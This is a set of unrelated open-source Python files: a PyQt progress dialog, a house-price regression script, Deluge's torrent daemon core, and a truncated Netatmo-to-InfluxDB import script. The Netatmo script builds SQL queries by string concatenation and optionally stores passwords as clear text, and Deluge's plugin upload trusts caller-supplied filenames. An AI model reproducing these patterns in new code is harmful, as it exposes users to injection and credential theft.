self.cancelBtn.setObjectName("cancelBtn") self.retranslateUi(ProgressDlg) QtCore.QMetaObject.connectSlotsByName(ProgressDlg) def retranslateUi(self, ProgressDlg): _translate = QtCore.QCoreApplication.translate ProgressDlg.setWindowTitle(_translate("ProgressDlg", "Calibration In Progress")) self.groupBox.setTitle(_translate("ProgressDlg", "Calibration running...")) self.calDescrLbl.setText(_translate("ProgressDlg", "Line 1\n" "Line 2")) self.maxLbl.setText(_translate("ProgressDlg", "TextLabel")) self.minLbl.setText(_translate("ProgressDlg", "TextLabel")) self.valLbl.setText(_translate("ProgressDlg", "TextLabel")) self.calWarningLbl.setText(_translate("ProgressDlg", "text goes here...")) self.cancelBtn.setText(_translate("ProgressDlg", "Cancel"))
ProjectIDA/ical
gui/progress_dlg.py
Python
gpl-3.0
6,082
from numpy import matrix, transpose, insert from csv import reader from NormalEquation import normalEquation with open('ex1data2.txt', 'r') as fp: r = reader(fp, delimiter=',') a = [] b = [] for row in r: [x, y, z] = int(row[0]), int(row[1]), int(row[2]) a.append([x, y]) b.append(z) X = matrix(a) X = insert(X, 0, 1, 1) y = transpose(matrix(b)) theta = normalEquation(X, y) '''Predicting cost of an example set: Area=1650 sq.m and no.of rooms:3''' to_find = [1,1650, 3] #Extra '1' appended for calculation purpose[see readme for reference] pcost = to_find * theta print('#########Sample Prediction#########') print('Price of house with area %d sq.m and %d rooms is ' % (to_find[0], to_find[1])), print('$%0.2f' % pcost[0, 0]) print('###################################') '''Predicting house prices using custom inputs''' to_find = [] x = int(input('Enter area of house: ')) y = int(input('Enter number of rooms: ')) to_find = [1,x, y] #Extra '1' appended for calculation purpose[see readme for reference] pcost = to_find * theta print('Price of house with area %d sq.m and %d rooms is ' % (to_find[0], to_find[1])), print('$%0.2f' % pcost[0, 0])
gppg1994/Machine_Learning
Price_Prediction_2/Main.py
Python
gpl-3.0
1,191
# # core.py # # Copyright (C) 2007-2009 Andrew Resch <andrewresch@gmail.com> # # Deluge is free software. # # You may redistribute it and/or modify it under the terms of the # GNU General Public License, as published by the Free Software # Foundation; either version 3 of the License, or (at your option) # any later version. # # deluge is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with deluge. If not, write to: # The Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor # Boston, MA 02110-1301, USA. # # In addition, as a special exception, the copyright holders give # permission to link the code of portions of this program with the OpenSSL # library. # You must obey the GNU General Public License in all respects for all of # the code used other than OpenSSL. If you modify file(s) with this # exception, you may extend this exception to your version of the file(s), # but you are not obligated to do so. If you do not wish to do so, delete # this exception statement from your version. If you delete this exception # statement from all source files in the program, then also delete it here. # # from deluge._libtorrent import lt import os import glob import base64 import shutil import threading import pkg_resources import warnings import tempfile from urlparse import urljoin from twisted.internet import reactor, defer from twisted.internet.task import LoopingCall import twisted.web.client import twisted.web.error from deluge.httpdownloader import download_file from deluge.log import LOG as log import deluge.configmanager import deluge.common import deluge.component as component from deluge.event import * from deluge.error import * from deluge.core.torrentmanager import TorrentManager from deluge.core.pluginmanager import PluginManager from deluge.core.alertmanager import AlertManager from deluge.core.filtermanager import FilterManager from deluge.core.preferencesmanager import PreferencesManager from deluge.core.autoadd import AutoAdd from deluge.core.authmanager import AuthManager from deluge.core.eventmanager import EventManager from deluge.core.rpcserver import export class Core(component.Component): def __init__(self, listen_interface=None): log.debug("Core init..") component.Component.__init__(self, "Core") # Start the libtorrent session log.info("Starting libtorrent %s session..", lt.version) # Create the client fingerprint version = [int(value.split("-")[0]) for value in deluge.common.get_version().split(".")] while len(version) < 4: version.append(0) # Note: All libtorrent python bindings to set plugins/extensions need to be disabled # due to GIL issue. https://code.google.com/p/libtorrent/issues/detail?id=369 # Setting session flags to 1 enables all libtorrent default plugins self.session = lt.session(lt.fingerprint("DE", *version), flags=1) # Load the session state if available self.__load_session_state() # Set the user agent self.settings = lt.session_settings() self.settings.user_agent = "Deluge %s" % deluge.common.get_version() # Increase the alert queue size so that alerts don't get lost self.settings.alert_queue_size = 10000 # Set session settings self.settings.send_redundant_have = True if deluge.common.windows_check(): self.settings.disk_io_write_mode = \ lt.io_buffer_mode_t.disable_os_cache self.settings.disk_io_read_mode = \ lt.io_buffer_mode_t.disable_os_cache self.session.set_settings(self.settings) # Load metadata extension # Note: All libtorrent python bindings to set plugins/extensions need to be disabled # due to GIL issue. https://code.google.com/p/libtorrent/issues/detail?id=369 # self.session.add_extension(lt.create_metadata_plugin) # self.session.add_extension(lt.create_ut_metadata_plugin) # self.session.add_extension(lt.create_smart_ban_plugin) # Create the components self.eventmanager = EventManager() self.preferencesmanager = PreferencesManager() self.alertmanager = AlertManager() self.pluginmanager = PluginManager(self) self.torrentmanager = TorrentManager() self.filtermanager = FilterManager(self) self.autoadd = AutoAdd() self.authmanager = AuthManager() # New release check information self.new_release = None # Get the core config self.config = deluge.configmanager.ConfigManager("core.conf") # If there was an interface value from the command line, use it, but # store the one in the config so we can restore it on shutdown self.__old_interface = None if listen_interface: self.__old_interface = self.config["listen_interface"] self.config["listen_interface"] = listen_interface def start(self): """Starts the core""" # New release check information self.__new_release = None def stop(self): log.debug("Core stopping...") # Save the DHT state if necessary if self.config["dht"]: self.save_dht_state() # Save the libtorrent session state self.__save_session_state() # We stored a copy of the old interface value if self.__old_interface: self.config["listen_interface"] = self.__old_interface # Make sure the config file has been saved self.config.save() def shutdown(self): pass def __save_session_state(self): """Saves the libtorrent session state""" try: lt_data = open(deluge.configmanager.get_config_dir("session.state"), "wb") lt_data.write(lt.bencode(self.session.save_state())) lt_data.close() except Exception, e: log.warning("Failed to save lt state: %s", e) def __load_session_state(self): """Loads the libtorrent session state""" try: self.session.load_state(lt.bdecode( open(deluge.configmanager.get_config_dir("session.state"), "rb").read())) except Exception, e: log.warning("Failed to load lt state: %s", e) def save_dht_state(self): """Saves the dht state to a file""" try: dht_data = open(deluge.configmanager.get_config_dir("dht.state"), "wb") dht_data.write(lt.bencode(self.session.dht_state())) dht_data.close() except Exception, e: log.warning("Failed to save dht state: %s", e) def get_new_release(self): log.debug("get_new_release") from urllib2 import urlopen try: self.new_release = urlopen( "http://download.deluge-torrent.org/version-1.0").read().strip() except Exception, e: log.debug("Unable to get release info from website: %s", e) return self.check_new_release() def check_new_release(self): if self.new_release: log.debug("new_release: %s", self.new_release) if deluge.common.VersionSplit(self.new_release) > deluge.common.VersionSplit(deluge.common.get_version()): component.get("EventManager").emit(NewVersionAvailableEvent(self.new_release)) return self.new_release return False # Exported Methods @export def add_torrent_file(self, filename, filedump, options): """ Adds a torrent file to the session. :param filename: the filename of the torrent :type filename: string :param filedump: a base64 encoded string of the torrent file contents :type filedump: string :param options: the options to apply to the torrent on add :type options: dict :returns: the torrent_id as a str or None :rtype: string """ try: filedump = base64.decodestring(filedump) except Exception, e: log.error("There was an error decoding the filedump string!") log.exception(e) try: torrent_id = self.torrentmanager.add(filedump=filedump, options=options, filename=filename) except Exception, e: log.error("There was an error adding the torrent file %s", filename) log.exception(e) torrent_id = None return torrent_id @export def add_torrent_url(self, url, options, headers=None): """ Adds a torrent from a url. Deluge will attempt to fetch the torrent from url prior to adding it to the session. :param url: the url pointing to the torrent file :type url: string :param options: the options to apply to the torrent on add :type options: dict :param headers: any optional headers to send :type headers: dict :returns: a Deferred which returns the torrent_id as a str or None """ log.info("Attempting to add url %s", url) def on_download_success(filename): # We got the file, so add it to the session f = open(filename, "rb") data = f.read() f.close() try: os.remove(filename) except Exception, e: log.warning("Couldn't remove temp file: %s", e) return self.add_torrent_file(filename, base64.encodestring(data), options) def on_download_fail(failure): if failure.check(twisted.web.error.PageRedirect): new_url = urljoin(url, failure.getErrorMessage().split(" to ")[1]) result = download_file(new_url, tempfile.mkstemp()[1], headers=headers, force_filename=True) result.addCallbacks(on_download_success, on_download_fail) elif failure.check(twisted.web.client.PartialDownloadError): result = download_file(url, tempfile.mkstemp()[1], headers=headers, force_filename=True, allow_compression=False) result.addCallbacks(on_download_success, on_download_fail) else: # Log the error and pass the failure onto the client log.error("Error occurred downloading torrent from %s", url) log.error("Reason: %s", failure.getErrorMessage()) result = failure return result d = download_file(url, tempfile.mkstemp()[1], headers=headers, force_filename=True) d.addCallbacks(on_download_success, on_download_fail) return d @export def add_torrent_magnet(self, uri, options): """ Adds a torrent from a magnet link. :param uri: the magnet link :type uri: string :param options: the options to apply to the torrent on add :type options: dict :returns: the torrent_id :rtype: string """ log.debug("Attempting to add by magnet uri: %s", uri) return self.torrentmanager.add(magnet=uri, options=options) @export def remove_torrent(self, torrent_id, remove_data): """ Removes a torrent from the session. :param torrent_id: the torrent_id of the torrent to remove :type torrent_id: string :param remove_data: if True, remove the data associated with this torrent :type remove_data: boolean :returns: True if removed successfully :rtype: bool :raises InvalidTorrentError: if the torrent_id does not exist in the session """ log.debug("Removing torrent %s from the core.", torrent_id) return self.torrentmanager.remove(torrent_id, remove_data) @export def get_session_status(self, keys): """ Gets the session status values for 'keys', these keys are taking from libtorrent's session status. See: http://www.rasterbar.com/products/libtorrent/manual.html#status :param keys: the keys for which we want values :type keys: list :returns: a dictionary of {key: value, ...} :rtype: dict """ status = {} session_status = self.session.status() for key in keys: status[key] = getattr(session_status, key) return status @export def get_cache_status(self): """ Returns a dictionary of the session's cache status. :returns: the cache status :rtype: dict """ status = self.session.get_cache_status() cache = {} for attr in dir(status): if attr.startswith("_"): continue cache[attr] = getattr(status, attr) # Add in a couple ratios try: cache["write_hit_ratio"] = float((cache["blocks_written"] - cache["writes"])) / float(cache["blocks_written"]) except ZeroDivisionError: cache["write_hit_ratio"] = 0.0 try: cache["read_hit_ratio"] = float(cache["blocks_read_hit"]) / float(cache["blocks_read"]) except ZeroDivisionError: cache["read_hit_ratio"] = 0.0 return cache @export def force_reannounce(self, torrent_ids): log.debug("Forcing reannouncment to: %s", torrent_ids) for torrent_id in torrent_ids: self.torrentmanager[torrent_id].force_reannounce() @export def pause_torrent(self, torrent_ids): log.debug("Pausing: %s", torrent_ids) for torrent_id in torrent_ids: if not self.torrentmanager[torrent_id].pause(): log.warning("Error pausing torrent %s", torrent_id) @export def connect_peer(self, torrent_id, ip, port): log.debug("adding peer %s to %s", ip, torrent_id) if not self.torrentmanager[torrent_id].connect_peer(ip, port): log.warning("Error adding peer %s:%s to %s", ip, port, torrent_id) @export def move_storage(self, torrent_ids, dest): log.debug("Moving storage %s to %s", torrent_ids, dest) for torrent_id in torrent_ids: if not self.torrentmanager[torrent_id].move_storage(dest): log.warning("Error moving torrent %s to %s", torrent_id, dest) @export def pause_all_torrents(self): """Pause all torrents in the session""" for torrent in self.torrentmanager.torrents.values(): torrent.pause() @export def resume_all_torrents(self): """Resume all torrents in the session""" for torrent in self.torrentmanager.torrents.values(): torrent.resume() component.get("EventManager").emit(SessionResumedEvent()) @export def resume_torrent(self, torrent_ids): log.debug("Resuming: %s", torrent_ids) for torrent_id in torrent_ids: self.torrentmanager[torrent_id].resume() @export def get_torrent_status(self, torrent_id, keys, diff=False): # Build the status dictionary try: status = self.torrentmanager[torrent_id].get_status(keys, diff) except KeyError: # Torrent was probaly removed meanwhile return {} # Get the leftover fields and ask the plugin manager to fill them leftover_fields = list(set(keys) - set(status.keys())) if len(leftover_fields) > 0: status.update(self.pluginmanager.get_status(torrent_id, leftover_fields)) return status @export def get_torrents_status(self, filter_dict, keys, diff=False): """ returns all torrents , optionally filtered by filter_dict. """ torrent_ids = self.filtermanager.filter_torrent_ids(filter_dict) status_dict = {}.fromkeys(torrent_ids) # Get the torrent status for each torrent_id for torrent_id in torrent_ids: status_dict[torrent_id] = self.get_torrent_status(torrent_id, keys, diff) return status_dict @export def get_filter_tree(self , show_zero_hits=True, hide_cat=None): """ returns {field: [(value,count)] } for use in sidebar(s) """ return self.filtermanager.get_filter_tree(show_zero_hits, hide_cat) @export def get_session_state(self): """Returns a list of torrent_ids in the session.""" # Get the torrent list from the TorrentManager return self.torrentmanager.get_torrent_list() @export def get_config(self): """Get all the preferences as a dictionary""" return self.config.config @export def get_config_value(self, key): """Get the config value for key""" try: value = self.config[key] except KeyError: return None return value @export def get_config_values(self, keys): """Get the config values for the entered keys""" config = {} for key in keys: try: config[key] = self.config[key] except KeyError: config[key] = None return config @export def set_config(self, config): """Set the config with values from dictionary""" # Load all the values into the configuration for key in config.keys(): if isinstance(config[key], unicode) or isinstance(config[key], str): config[key] = config[key].encode("utf8") self.config[key] = config[key] @export def get_listen_port(self): """Returns the active listen port""" return self.session.listen_port() @export def get_num_connections(self): """Returns the current number of connections""" return self.session.num_connections() @export def get_available_plugins(self): """Returns a list of plugins available in the core""" return self.pluginmanager.get_available_plugins() @export def get_enabled_plugins(self): """Returns a list of enabled plugins in the core""" return self.pluginmanager.get_enabled_plugins() @export def enable_plugin(self, plugin): self.pluginmanager.enable_plugin(plugin) return None @export def disable_plugin(self, plugin): self.pluginmanager.disable_plugin(plugin) return None @export def force_recheck(self, torrent_ids): """Forces a data recheck on torrent_ids""" for torrent_id in torrent_ids: self.torrentmanager[torrent_id].force_recheck() @export def set_torrent_options(self, torrent_ids, options): """Sets the torrent options for torrent_ids""" for torrent_id in torrent_ids: self.torrentmanager[torrent_id].set_options(options) @export def set_torrent_trackers(self, torrent_id, trackers): """Sets a torrents tracker list. trackers will be [{"url", "tier"}]""" return self.torrentmanager[torrent_id].set_trackers(trackers) @export def set_torrent_max_connections(self, torrent_id, value): """Sets a torrents max number of connections""" return self.torrentmanager[torrent_id].set_max_connections(value) @export def set_torrent_max_upload_slots(self, torrent_id, value): """Sets a torrents max number of upload slots""" return self.torrentmanager[torrent_id].set_max_upload_slots(value) @export def set_torrent_max_upload_speed(self, torrent_id, value): """Sets a torrents max upload speed""" return self.torrentmanager[torrent_id].set_max_upload_speed(value) @export def set_torrent_max_download_speed(self, torrent_id, value): """Sets a torrents max download speed""" return self.torrentmanager[torrent_id].set_max_download_speed(value) @export def set_torrent_file_priorities(self, torrent_id, priorities): """Sets a torrents file priorities""" return self.torrentmanager[torrent_id].set_file_priorities(priorities) @export def set_torrent_prioritize_first_last(self, torrent_id, value): """Sets a higher priority to the first and last pieces""" return self.torrentmanager[torrent_id].set_prioritize_first_last(value) @export def set_torrent_auto_managed(self, torrent_id, value): """Sets the auto managed flag for queueing purposes""" return self.torrentmanager[torrent_id].set_auto_managed(value) @export def set_torrent_stop_at_ratio(self, torrent_id, value): """Sets the torrent to stop at 'stop_ratio'""" return self.torrentmanager[torrent_id].set_stop_at_ratio(value) @export def set_torrent_stop_ratio(self, torrent_id, value): """Sets the ratio when to stop a torrent if 'stop_at_ratio' is set""" return self.torrentmanager[torrent_id].set_stop_ratio(value) @export def set_torrent_remove_at_ratio(self, torrent_id, value): """Sets the torrent to be removed at 'stop_ratio'""" return self.torrentmanager[torrent_id].set_remove_at_ratio(value) @export def set_torrent_move_completed(self, torrent_id, value): """Sets the torrent to be moved when completed""" return self.torrentmanager[torrent_id].set_move_completed(value) @export def set_torrent_move_completed_path(self, torrent_id, value): """Sets the path for the torrent to be moved when completed""" return self.torrentmanager[torrent_id].set_move_completed_path(value) @export def get_path_size(self, path): """Returns the size of the file or folder 'path' and -1 if the path is unaccessible (non-existent or insufficient privs)""" return deluge.common.get_path_size(path) @export def create_torrent(self, path, tracker, piece_length, comment, target, webseeds, private, created_by, trackers, add_to_session): log.debug("creating torrent..") threading.Thread(target=self._create_torrent_thread, args=( path, tracker, piece_length, comment, target, webseeds, private, created_by, trackers, add_to_session)).start() def _create_torrent_thread(self, path, tracker, piece_length, comment, target, webseeds, private, created_by, trackers, add_to_session): import deluge.metafile deluge.metafile.make_meta_file( path, tracker, piece_length, comment=comment, target=target, webseeds=webseeds, private=private, created_by=created_by, trackers=trackers) log.debug("torrent created!") if add_to_session: options = {} options["download_location"] = os.path.split(path)[0] self.add_torrent_file(os.path.split(target)[1], open(target, "rb").read(), options) @export def upload_plugin(self, filename, filedump): """This method is used to upload new plugins to the daemon. It is used when connecting to the daemon remotely and installing a new plugin on the client side. 'plugin_data' is a xmlrpc.Binary object of the file data, ie, plugin_file.read()""" try: filedump = base64.decodestring(filedump) except Exception, e: log.error("There was an error decoding the filedump string!") log.exception(e) return f = open(os.path.join(deluge.configmanager.get_config_dir(), "plugins", filename), "wb") f.write(filedump) f.close() component.get("CorePluginManager").scan_for_plugins() @export def rescan_plugins(self): """ Rescans the plugin folders for new plugins """ component.get("CorePluginManager").scan_for_plugins() @export def rename_files(self, torrent_id, filenames): """ Rename files in torrent_id. Since this is an asynchronous operation by libtorrent, watch for the TorrentFileRenamedEvent to know when the files have been renamed. :param torrent_id: the torrent_id to rename files :type torrent_id: string :param filenames: a list of index, filename pairs :type filenames: ((index, filename), ...) :raises InvalidTorrentError: if torrent_id is invalid """ if torrent_id not in self.torrentmanager.torrents: raise InvalidTorrentError("torrent_id is not in session") self.torrentmanager[torrent_id].rename_files(filenames) @export def rename_folder(self, torrent_id, folder, new_folder): """ Renames the 'folder' to 'new_folder' in 'torrent_id'. Watch for the TorrentFolderRenamedEvent which is emitted when the folder has been renamed successfully. :param torrent_id: the torrent to rename folder in :type torrent_id: string :param folder: the folder to rename :type folder: string :param new_folder: the new folder name :type new_folder: string :raises InvalidTorrentError: if the torrent_id is invalid """ if torrent_id not in self.torrentmanager.torrents: raise InvalidTorrentError("torrent_id is not in session") self.torrentmanager[torrent_id].rename_folder(folder, new_folder) @export def queue_top(self, torrent_ids): log.debug("Attempting to queue %s to top", torrent_ids) # torrent_ids must be sorted in reverse before moving to preserve order for torrent_id in sorted(torrent_ids, key=self.torrentmanager.get_queue_position, reverse=True): try: # If the queue method returns True, then we should emit a signal if self.torrentmanager.queue_top(torrent_id): component.get("EventManager").emit(TorrentQueueChangedEvent()) except KeyError: log.warning("torrent_id: %s does not exist in the queue", torrent_id) @export def queue_up(self, torrent_ids): log.debug("Attempting to queue %s to up", torrent_ids) torrents = ((self.torrentmanager.get_queue_position(torrent_id), torrent_id) for torrent_id in torrent_ids) torrent_moved = True prev_queue_position = None #torrent_ids must be sorted before moving. for queue_position, torrent_id in sorted(torrents): # Move the torrent if and only if there is space (by not moving it we preserve the order) if torrent_moved or queue_position - prev_queue_position > 1: try: torrent_moved = self.torrentmanager.queue_up(torrent_id) except KeyError: log.warning("torrent_id: %s does not exist in the queue", torrent_id) # If the torrent moved, then we should emit a signal if torrent_moved: component.get("EventManager").emit(TorrentQueueChangedEvent()) else: prev_queue_position = queue_position @export def queue_down(self, torrent_ids): log.debug("Attempting to queue %s to down", torrent_ids) torrents = ((self.torrentmanager.get_queue_position(torrent_id), torrent_id) for torrent_id in torrent_ids) torrent_moved = True prev_queue_position = None #torrent_ids must be sorted before moving. for queue_position, torrent_id in sorted(torrents, reverse=True): # Move the torrent if and only if there is space (by not moving it we preserve the order) if torrent_moved or prev_queue_position - queue_position > 1: try: torrent_moved = self.torrentmanager.queue_down(torrent_id) except KeyError: log.warning("torrent_id: %s does not exist in the queue", torrent_id) # If the torrent moved, then we should emit a signal if torrent_moved: component.get("EventManager").emit(TorrentQueueChangedEvent()) else: prev_queue_position = queue_position @export def queue_bottom(self, torrent_ids): log.debug("Attempting to queue %s to bottom", torrent_ids) # torrent_ids must be sorted before moving to preserve order for torrent_id in sorted(torrent_ids, key=self.torrentmanager.get_queue_position): try: # If the queue method returns True, then we should emit a signal if self.torrentmanager.queue_bottom(torrent_id): component.get("EventManager").emit(TorrentQueueChangedEvent()) except KeyError: log.warning("torrent_id: %s does not exist in the queue", torrent_id) @export def glob(self, path): return glob.glob(path) @export def test_listen_port(self): """ Checks if the active port is open :returns: True if the port is open, False if not :rtype: bool """ from twisted.web.client import getPage d = getPage("http://deluge-torrent.org/test_port.php?port=%s" % self.get_listen_port(), timeout=30) def on_get_page(result): return bool(int(result)) def logError(failure): log.warning("Error testing listen port: %s", failure) d.addCallback(on_get_page) d.addErrback(logError) return d @export def get_free_space(self, path=None): """ Returns the number of free bytes at path :param path: the path to check free space at, if None, use the default download location :type path: string :returns: the number of free bytes at path :rtype: int :raises InvalidPathError: if the path is invalid """ if not path: path = self.config["download_location"] try: return deluge.common.free_space(path) except InvalidPathError: return 0 @export def get_libtorrent_version(self): """ Returns the libtorrent version. :returns: the version :rtype: string """ return lt.version
inaz2/deluge-hack
deluge/core/core.py
Python
gpl-3.0
30,715
#!/usr/bin/env python2.7 # -*- coding: utf-8 -*- ############################################################################## # NetatmoInflux # # Python script for importing Netatmo data into an InfluxDB. # # (C) 2015-2019, Ulrich Thiel # ulrich.thiel@sydney.edu.au ############################################################################## #This file is part of NetatmoInflux. # #NetatmoInflux is free software: you can redistribute it and/or modify #it under the terms of the GNU General Public License as published by #the Free Software Foundation, either version 3 of the License, or #(at your option) any later version. # #NetatmoInflux is distributed in the hope that it will be useful, #but WITHOUT ANY WARRANTY; without even the implied warranty of #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #GNU General Public License for more details. # #You should have received a copy of the GNU General Public License #along with WeatherStats. If not, see <http://www.gnu.org/licenses/>. ############################################################################## ############################################################################## #This script automatically updates all data from Netatmo ############################################################################## ############################################################################## #imports import sqlite3 import os.path from lib import ColorPrint from lib import Netatmo import getpass import sys import signal ############################################################################## # database connection dbexists = os.path.isfile(os.path.dirname(os.path.realpath(__file__))+"/Netatmo.db") dbconn = sqlite3.connect(os.path.dirname(os.path.realpath(__file__))+'/Netatmo.db') dbcursor = dbconn.cursor() ############################################################################## #Ctrl+C handler def signal_handler(signal, frame): ColorPrint.ColorPrint("\nYou pressed Ctrl+C", "error") SetDates(dbconn, dbcursor) dbconn.commit() dbconn.close() sys.exit(0) signal.signal(signal.SIGINT, signal_handler) ############################################################################## #Creates empty database def CreateEmptyDB(): dbcursor.execute(\ "CREATE TABLE \"Accounts\" (\n" \ "`User` TEXT,\n" \ "`Password` TEXT,\n" \ "`ClientID` TEXT,\n" \ "`ClientSecret` TEXT,\n" \ "PRIMARY KEY(User) ON CONFLICT REPLACE)\n"\ ) dbcursor.execute(\ "CREATE TABLE \"Modules\" (\n" \ "`Id` TEXT,\n" \ "`Name` TEXT,\n" \ "PRIMARY KEY(Id))\n"\ ) dbcursor.execute(\ "CREATE TABLE \"Sensors\" (\n" \ "`Id` INTEGER,\n" \ "`Module` TEXT,\n" \ "`Measurand` INTEGER,\n" \ "`Unit` INTEGER,\n" \ "`Name` TEXT,\n" \ "`Calibration` REAL,\n" \ "`Interval` INTEGER,\n" \ "PRIMARY KEY(Id))\n" \ ) dbcursor.execute(\ "CREATE TABLE \"Locations\" (\n" \ "`Id` INTEGER,\n" \ "`PositionNorth` REAL,\n" \ "`PositionEast` REAL,\n" \ "`Elevation` INTEGER,\n" \ "`Name` TEXT,\n" \ "`Timezone` TEXT,\n" \ "PRIMARY KEY(Id))\n" \ ) dbcursor.execute(\ "CREATE TABLE \"ModuleLocations\" (\n" \ "`Module` TEXT,\n" \ "`Begin` TEXT,\n" \ "`End` TEXT,\n" \ "`Location` INTEGER,\n" \ "PRIMARY KEY(Module, Begin, End))\n" \ ) dbcursor.execute(\ "CREATE VIEW \"ModulesView\" AS \n" \ "SELECT Modules.Id AS \"Module Id\", \n" \ "Modules.Name AS \"Module Name\", \n" \ "STRFTIME(\"%Y-%m-%d %H:%M:%SZ\", DATETIME(ModuleLocations.Begin, \'unixepoch\')) AS \"Begin\" , \n" \ "STRFTIME(\"%Y-%m-%d %H:%M:%SZ\", DATETIME(ModuleLocations.End, \'unixepoch\')) AS \"End\", \n" \ "Locations.Name AS \"Location Name\", \n"\ "ModuleLocations.Begin AS \"Begin Timestamp\", \n" \ "ModuleLocations.End AS \"End Timestamp\", \n" \ "Locations.Timezone AS \"Timezone\" \n" \ "FROM Modules \n" \ "INNER JOIN ModuleLocations ON ModuleLocations.Module = Modules.Id \n" \ "INNER JOIN Locations ON ModuleLocations.Location = Locations.Id \n" \ ) dbcursor.execute(\ "CREATE TABLE \"InfluxDB\" ( \n" \ "`Id` INTEGER, \n" \ "`Host` TEXT, \n" \ "`Port` INTEGER, \n" \ "`User` TEXT, \n" \ "`Password` TEXT, \n" \ "`Database` TEXT, \n" \ "`SSL` INTEGER, \n" \ "`SSLVerify` INTEGER, \n" \ "PRIMARY KEY(Id)) \n" \ ) dbconn.commit() ############################################################################## #add all devices/modules for specific account def InitializeAccount(account): username = account[0] password = account[1] clientId = account[2] clientSecret = account[3] print "Getting modules for account " + username if password == None: password = getpass.getpass() netatm = Netatmo.NetatmoClient(username, password, clientId, clientSecret) netatm.getStationData() #first, update modules and sensors for id in netatm.devicemoduleids: if id[1] == None: moduleid = dbcursor.execute("SELECT Id FROM Modules WHERE Id IS \""+str(id[0])+"\"").fetchone() else: moduleid = dbcursor.execute("SELECT Id FROM Modules WHERE Id IS \""+str(id[1])+"\"").fetchone() #if not exists, add new device/module and its sensors if moduleid == None: #check if location exists location = netatm.locations[id] locationid = dbcursor.execute("SELECT Id FROM Locations WHERE PositionNorth IS "+str(location[0][1])+" AND PositionEast IS "+str(location[0][0])+" AND Elevation IS "+str(location[1])+" AND Name IS \""+location[3]+"\" AND Timezone IS \""+location[2]+"\"").fetchone() if locationid == None: dbcursor.execute("INSERT INTO Locations (PositionNorth,PositionEast,Elevation,Name,Timezone) VALUES ("+str(location[0][1]) + "," + str(location[0][0]) + "," + str(location[1]) + ",\"" + location[3] + "\",\"" + location[2] + "\")") locationid = (dbcursor.execute("SELECT last_insert_rowid();").fetchone())[0] else: locationid = locationid[0] if id[1] == None: moduleid = id[0] else: moduleid = id[1] dbcursor.execute("INSERT INTO Modules (Id,Name) VALUES (\""+moduleid+"\",\"Netatmo "+netatm.types[id]+"\")") sensorids = [] #set correct units for measurand in netatm.measurands[id]: if measurand == "CO2": unit = "ppm" if measurand == "Humidity": unit = "%" if measurand == "Noise": unit = "dB" if measurand == "Temperature": if netatm.units[id] == 0: unit = u"\u00b0"+"C" else: unit = u"\u00b0"+"F" if measurand == "Wind": if netatm.windunits[id] == 0: unit = "kph" elif netatm.windunits[id] == 1: unit = "mph" elif netatm.windunits[id] == 2: unit = "ms" elif netatm.windunits[id] == 3: unit = "Bft" elif netatm.windunits[id] == 4: unit = "kn" if measurand == "Pressure": if netatm.pressureunits[id] == 0: unit = "mbar" elif netatm.pressureunits[id] == 1: unit = "inHg" elif netatm.pressureunits[id] == 2: unit = "mmHg" if measurand == "Rain": measurand = "Precipitation" unit = "mm" dbcursor.execute("INSERT INTO Sensors (Module,Measurand,Unit,Name,Calibration,Interval) VALUES (\""+str(moduleid)+"\",\""+measurand+"\",\""+unit+"\",\""+measurand+" sensor\",0,300)") #one point every 5 minutes for Netatmo sensorid = (dbcursor.execute("SELECT last_insert_rowid();").fetchone())[0] sensorids.append(sensorid) #get first time stamp for module and set this as Begin for location of module measurandsstring = "" measurands = netatm.measurands[id] for i in range(0,len(measurands)): measurandsstring = measurandsstring + measurands[i] if i < len(measurands)-1: measurandsstring = measurandsstring + "," data = netatm.getMeasure(id[0],id[1],"max",measurandsstring,None,None,None,"false") minservertimestamp = min(map(int,data.keys())) dbcursor.execute("INSERT INTO ModuleLocations (Module,Begin,Location) VALUES (\""+moduleid+"\","+str(minservertimestamp)+","+str(locationid)+")") if id[1] == None: ColorPrint.ColorPrint("Added device "+id[0]+" ("+netatm.types[id]+") at location "+str(locationid)+" ("+netatm.locations[id][3]+")", "okgreen") else: ColorPrint.ColorPrint("Added module "+id[1]+" ("+netatm.types[id]+") at location "+str(locationid)+" ("+netatm.locations[id][3]+")", "okgreen") else: moduleid = moduleid[0] dbconn.commit() ############################################################################## #This iterates through all accounts def InitializeAccounts(): dbcursor.execute("SELECT * From Accounts") res = dbcursor.fetchall() for account in res: InitializeAccount(account) ############################################################################## #function to add a Netatmo account to the data base def AddAccount(): print "-----------------------" print "| Add Netatmo account |" print "-----------------------" username = raw_input("User: ") password = getpass.getpass() ColorPrint.ColorPrint("Do you want to save the password as clear text to the database?\nIf not, you have to enter it on any update.", "warning") savepassw = raw_input("Save (y/n)?: ") if not (savepassw == "Y" or savepassw == "y"): savepassw = False else: savepassw = True ColorPrint.ColorPrint("You have to grant client access for WeatherStats. If not done yet,\nlog into\n\thttps://dev.netatmo.com/dev/myaccount\nand add an app called \"WeatherStats\". You will be given a client \nid and a client secret.", "warning") clientId = raw_input("Client id: ") clientSecret = raw_input("Client secret: ") #check if it works netatm = Netatmo.NetatmoClient(username, password, clientId, clientSecret) netatm.getStationData() if savepassw: dbcursor.execute(\ "INSERT INTO Accounts (User, Password, ClientID, ClientSecret)\n"\ "VALUES (\"" + username + "\",\"" + password + "\",\"" + clientId + "\",\"" + clientSecret + "\")" ) else: dbcursor.execute(\ "INSERT INTO Accounts (User, Password, ClientID, ClientSecret)\n"\ "VALUES (\"" + username + "\",NULL,\"" + clientId + "\",\"" + clientSecret + "\")" ) ColorPrint.ColorPrint("Account added", "okgreen") dbconn.commit() ############################################################################## #function to add an InfluxDB def AddInflux(): print "-----------------------" print "| Add InfluxDB |" print "-----------------------" host = raw_input("Host: ") port = raw_input("Port: ") user = raw_input("User: ") password = getpass.getpass() ColorPrint.ColorPrint("Do you want to save the password as clear text to the database?\nIf not, you have to enter it on any update.", "warning") savepassw = raw_input("Save (y/n)?: ") if not (savepassw == "Y" or savepassw == "y"): savepassw = False else: savepassw = True db = raw_input("Database: ") ssl = raw_input("Use SSL (y/n)?: ") if not (ssl == "Y" or ssl == "y"): ssl = 0 else: ssl = 1 sslVerify = 1 if savepassw == True: dbcursor.execute(\ "INSERT INTO InfluxDB (Host, Port, User, Password, Database,SSL)\n"\ "VALUES (\"" + host + "\",\"" + port + "\",\"" + user + 